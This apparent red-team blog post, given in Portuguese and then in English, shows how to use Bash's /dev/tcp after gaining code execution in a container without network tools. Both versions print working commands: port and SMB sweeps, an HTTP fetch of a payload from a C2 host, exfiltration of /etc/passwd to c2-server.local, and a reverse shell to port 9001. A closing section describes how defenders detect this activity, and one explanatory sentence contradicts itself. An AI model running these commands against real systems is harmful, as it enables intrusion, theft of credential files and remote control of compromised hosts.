Red Team 2026-03-12 @reeshasx

RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration

[ 0x00 ] A RESTRIÇÃO DO AMBIENTE DE EXECUÇÃO (LFI/RCE)

Considere o cenário típico de pós-exploração: a obtenção bem-sucedida de Execução Remota de Código (RCE) em uma aplicação web rodando sob um container Docker. Ao tentar baixar payloads de segundo estágio ou ferramentas adicionais de pós-exploração, o operador se depara com a ausência de utilitários de transferência comuns:

$ wget http://c2-server.local/payload.sh
bash: wget: command not found
$ curl http://c2-server.local/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found

Esse endurecimento (hardening) básico do container visa reduzir a superfície de ataque ao expurgar binários de rede clássicos. No entanto, se o interpretador Bash estiver instalado e ativo, é possível explorar recursos nativos do próprio shell para criar conexões de rede e transferir dados arbitrários.

[ 0x01 ] O PSEUDO-DISPOSITIVO /dev/tcp DO BASH

O pseudo-caminho /dev/tcp/ não corresponde a um arquivo especial de caractere ou bloco no VFS do Linux (ao contrário de /dev/null ou /dev/urandom). Trata-se de uma funcionalidade interna compilada diretamente no código-fonte do Bash (ativada por padrão na maioria das distribuições Linux via flag de compilação --enable-net-redirections).

Ao redirecionar entrada ou saída para o caminho padrão /dev/tcp/<HOST>/<PORT>, o Bash intercepta a chamada de abertura de arquivo e, internamente, realiza a resolução DNS e instancia um socket de rede TCP nativo por meio das chamadas de sistema socket e connect do Linux.

Nota Crítica de Compatibilidade: Esta funcionalidade é estritamente vinculada ao interpretador Bash (e KornShell). Ele não funciona no interpretador ash do BusyBox (que equipa por padrão imagens minimalistas como o Alpine Linux) nem no dash (shell padrão em instalações Debian e Ubuntu). Nestes ambientes, tentar utilizar /dev/tcp resultará em um erro de arquivo inexistente.

Abaixo, demonstra-se a construção de um port scanner minimalista em puro Bash utilizando o pseudo-dispositivo sob a verificação de timeout do sistema:

# Testa se a porta 80 está aberta no host 10.0.0.5 com timeout de 1 segundo
if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then 
    echo "[+] Porta 80/TCP aberta."
else
    echo "[-] Porta 80/TCP fechada ou filtrada."
fi

[ 0x02 ] CONSTRUÇÃO DE REQUISIÇÕES HTTP NA MÃO

Sem o utilitário curl, o operador pode usar descritores de arquivo customizados do Bash (exec <número>[<>]) para abrir conexões bidirecionais (leitura/escrita) e forjar cabeçalhos HTTP brutos que sigam as especificações RFC 7230:

# 1. Aloca o descritor de arquivo 3 para conexão bidirecional com o host C2
exec 3<>/dev/tcp/c2-server.local/80

# 2. Envia a requisição HTTP/1.1 em conformidade com o protocolo (requer terminação CRLF - 
)
echo -e "GET /payload.sh HTTP/1.1\r\nHost: c2-server.local\r\nConnection: close\r\n\r\n" >&3

# 3. Lê a resposta do stream de rede e a redireciona para um arquivo local
cat <&3 > payload.sh

Essa técnica evita a invocação de novos processos, pois todas as etapas de roteamento de pacotes ocorrem dentro do próprio processo do interpretador Bash ativo, uma vez que a leitura direta via cat consumiria também os cabeçalhos HTTP da resposta, corrompendo scripts executáveis caso não fossem previamente descartados no loop de leitura do socket.

[ 0x03 ] EXFILTRAÇÃO STEALTH E PING SWEEPS SEM ICMP

Para exfiltração rápida de dados, pode-se ler o conteúdo de arquivos e redirecionar a saída direto para o descritor de rede:

# No servidor C2 (escutando via netcat clássico)
nc -lvnp 4444

# Na máquina comprometida (exfiltração direta)
cat /etc/passwd > /dev/tcp/c2-server.local/4444

Se o protocolo ICMP estiver bloqueado na rede interna pelo firewall impedindo o mapeamento de hosts via comandos como ping, pode-se realizar varreduras paralelas assíncronas utilizando a lógica do Bash em background (&):

# Varredura assíncrona na sub-rede /24 procurando pela porta 445 (SMB)
for ip in {1..254}; do
    timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "[+] Host 10.0.0.$ip ativo (SMB)" &
done
wait

[ 0x04 ] O RETORNO: REVERSE SHELLS INTERATIVOS

O uso mais comum da funcionalidade reside no spawning de reverse shells interativos sem a dependência de linguagens de script adicionais (como Python ou Perl):

bash -i >& /dev/tcp/c2-server.local/9001 0>&1

O comando acima inicializa uma instância interativa do Bash (-i), redireciona a saída padrão (stdout via >) e a saída de erro padrão (stderr via &) para o socket de rede conectado ao C2. Por fim, a entrada padrão (stdin via 0>&1) é duplicada da saída de rede, permitindo o recebimento de comandos.

[ 0x05 ] PERSPECTIVA DE TELEMETRIA E VETORES DE DETECÇÃO (BLUE TEAM)

A alegação comum de que essa técnica é totalmente invisível baseia-se na ausência de novos artefatos em disco ou logs de novos processos executados. No entanto, ela é altamente visível sob outras perspectivas de segurança:

Monitoramento de Conexões de Shell (EDR/SIEM): Interpretadores de comando (como bash, sh, zsh) realizando chamadas de sistema connect diretamente para a rede externa é um comportamento altamente suspeito. Regras heurísticas de EDR alertam imediatamente sobre conexões de rede originadas de interpretadores de sistema.
Volume de Syscalls: A execução de loops de scan gera dezenas de syscalls connect sequenciais a partir do PID do Bash em curto intervalo de tempo, comportamento que dispara alertas comportamentais imediatos.
Logs de Transição de Estado: Ferramentas que monitoram tabelas de sockets ativos (como netstat, ss ou logs de conexões locais) revelarão conexões TCP estabelecidas associadas ao PID do interpretador Bash.

[ 0x00 ] HARDENING VS. EXPLOITATION IN LIMITED ENVIRONMENTS

Consider a classic post-exploitation scenario: achieving Remote Code Execution (RCE) on an application running inside a Docker container. When attempting to fetch second-stage payloads or post-exploitation tools, operators are often met with the absence of standard transfer utilities:

$ wget http://c2-server.local/payload.sh
bash: wget: command not found
$ curl http://c2-server.local/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found

This basic hardening of the container aims to reduce the attack surface by purging standard networking binaries. However, if the Bash interpreter is active on the system, operators can exploit native features of the shell itself to open network sockets and transfer arbitrary data.

[ 0x01 ] THE ANATOMY OF BASH'S /dev/tcp PSEUDO-DEVICE

The pseudo-path /dev/tcp/ does not correspond to any physical block or character device in the Linux Virtual File System (unlike /dev/null or /dev/urandom). Instead, it is an internal feature compiled directly into Bash's source code (enabled by default in most Linux distributions via the --enable-net-redirections compilation flag).

When redirecting inputs or outputs to the standard path /dev/tcp/<HOST>/<PORT>, Bash intercepts the file-open system calls. Internally, it performs DNS resolution and instantiates a native TCP socket using Linux's standard socket and connect system calls.

Critical Compatibility Note: This behavior is strictly bound to the Bash interpreter (and KornShell). It does not work in BusyBox's ash interpreter (the default shell in minimalist images like Alpine Linux) or dash (the default system shell on Debian and Ubuntu). In those shells, trying to access /dev/tcp will simply return a "No such file or directory" error.

Below is a minimalist port scanner implemented in pure Bash using this pseudo-device under system timeout control:

# Tests if port 80 is open on host 10.0.0.5 with a 1-second timeout
if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then 
    echo "[+] Port 80/TCP is open."
else
    echo "[-] Port 80/TCP is closed or filtered."
fi

[ 0x02 ] FORGING HTTP REQUESTS BY HAND

Without curl or wget, operators can allocate custom file descriptors in Bash (exec <number>[<>]) to establish bidirectional (read/write) channels. This allows forging raw HTTP headers in compliance with RFC 7230 specifications:

# 1. Allocate file descriptor 3 to establish a bidirectional socket connection
exec 3<>/dev/tcp/c2-server.local/80

# 2. Write the raw HTTP/1.1 request (requiring proper CRLF endings - 
)
echo -e "GET /payload.sh HTTP/1.1\r\nHost: c2-server.local\r\nConnection: close\r\n\r\n" >&3

# 3. Read the server's response stream and redirect it to a local file
cat <&3 > payload.sh

This technique avoids spawning new processes, as all routing occurs within the execution scope of the active Bash process, since a direct read via cat would also capture the HTTP response headers, corrupting executable payloads if they are not discarded before saving the socket stream.

[ 0x03 ] STEALTH DATA EXFILTRATION AND NON-ICMP PING SWEEPS

For rapid exfiltration of sensitive data, operators can redirect local file contents straight to the network descriptor:

# On the C2 server (listening using standard netcat)
nc -lvnp 4444

# On the compromised host (direct socket exfiltration)
cat /etc/passwd > /dev/tcp/c2-server.local/4444

If outbound ICMP traffic is blocked by firewall policies, preventing standard ping sweeps, network discovery can be performed asynchronously using Bash's background worker execution (&):

# Async sweep on a /24 subnet looking for port 445 (SMB)
for ip in {1..254}; do
    timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "[+] Host 10.0.0.$ip active (SMB)" &
done
wait

[ 0x04 ] INTERACTIVE REVERSE SHELLS

The most common application of this feature is spawning interactive reverse shells without relying on external script runtimes like Python or Perl:

bash -i >& /dev/tcp/c2-server.local/9001 0>&1

The command initializes an interactive Bash shell (-i), redirects both standard output (stdout via >) and standard error (stderr via &) to the network socket, and duplicates standard input (stdin via 0>&1) from the socket, allowing remote execution.

[ 0x05 ] BLUE TEAM PERSPECTIVE AND DETECTION CHANNELS

The common assumption that /dev/tcp interactions are completely invisible relies on the lack of file creation and process spawns. However, this activity is highly visible under modern security monitoring frameworks:

Shell Network Connections (EDR/SIEM): Command shell interpreters (like bash, sh, zsh) initiating outbound network connections (connect syscalls) represent a primary telemetry signature. Security monitors alert on outbound network sockets established directly by system shells.
Syscall Clustering: Running scans generates dozens of network-related system calls from a single shell PID in a brief time window, triggering behavioral anomalies.
Active Socket Telemetry: System monitoring tools like ss or netstat list established TCP connections mapped to the running PID of the Bash shell, facilitating process mapping.